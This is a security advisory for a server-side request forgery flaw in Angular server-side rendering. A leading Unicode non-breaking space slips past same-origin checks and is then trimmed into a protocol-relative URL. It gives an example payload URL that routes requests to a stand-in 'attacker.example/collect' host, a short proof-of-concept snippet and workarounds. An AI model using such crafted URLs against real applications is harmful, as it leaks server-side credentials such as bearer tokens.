Severity
Details
- CVSS score
- 8.6
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Overview
About vulnerability
Summary
A discrepancy between WHATWG URL parsing and Angular SSR’s URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery (SSRF), potentially leaking sensitive server-side credentials.
Technical Description
When applications validate incoming URLs using the WHATWG URL standard (new URL(input, trustedOrigin)), Unicode whitespace characters (such as NO-BREAK SPACE U+00A0 or ZERO WIDTH NO-BREAK SPACE U+FEFF) are not stripped and are evaluated as part of a same-origin relative path (e.g. http://trusted-origin/%C2%A0//attacker.example/collect). Consequently, these URLs successfully pass application-level same-origin checks.
However, @angular/platform-server’s URL resolution utility (resolveUrl / parseUrl) previously executed String.prototype.trim(). Because JavaScript’s String.prototype.trim() strips all Unicode whitespace (including U+00A0), the leading non-breaking space was removed, converting the string into a cross-origin protocol-relative URL (//attacker.example/collect). When resolved during server-side rendering (such as in relativeUrlsTransformerInterceptorFn), this caused the HTTP request to be dispatched to the attacker-controlled origin (http://attacker.example/collect), leaking any credentials (such as Authorization headers) attached by the application for the intended same-origin request.
Impact & Reachability
- Reachability: The vulnerability affects Angular Server-Side Rendering (SSR) applications where user-controlled input influences resource or request URLs processed by Angular’s
HttpClient, an application-level same-origin check is performed before dispatching, and sensitive server-side credentials (such as API keys or Bearer tokens) are attached to approved requests. - Impact: Successful exploitation allows attackers to bypass same-origin validation, triggering Server-Side Request Forgery (SSRF) and leaking sensitive server-side credentials attached to the request.
Proof of Concept:
// Interceptor performing same-origin validation
const trustedOrigin = new URL('http://localhost:4000/');
const target = new URL(req.urlWithParams, trustedOrigin);
if (target.origin !== trustedOrigin.origin) {
throw new Error('Cross-origin request blocked');
}
// Request passes validation, server attaches sensitive credential:
const authenticatedReq = req.clone({
headers: req.headers.set('Authorization', 'Bearer SERVER-SECRET-TOKEN'),
});
// @angular/platform-server previously trimmed the URL, converting it into
// //attacker.example/collect and routing the credential to the attacker.
Workarounds
- Validate and sanitize input URLs to disallow leading Unicode whitespace characters (such as
\u00A0) before performing origin checks or passing them toHttpClient. - Avoid relying solely on
new URL(input, trustedOrigin).originfor authorization if the input string may be trimmed or processed by utilities that normalize whitespace differently from the WHATWG URL standard.
Details
- Affected product:
- AngularJS , nguniversal , sentry-angular , sentry-javascript
- Affected packages:
- @angular/common @ 21.2.16 (+1040 more)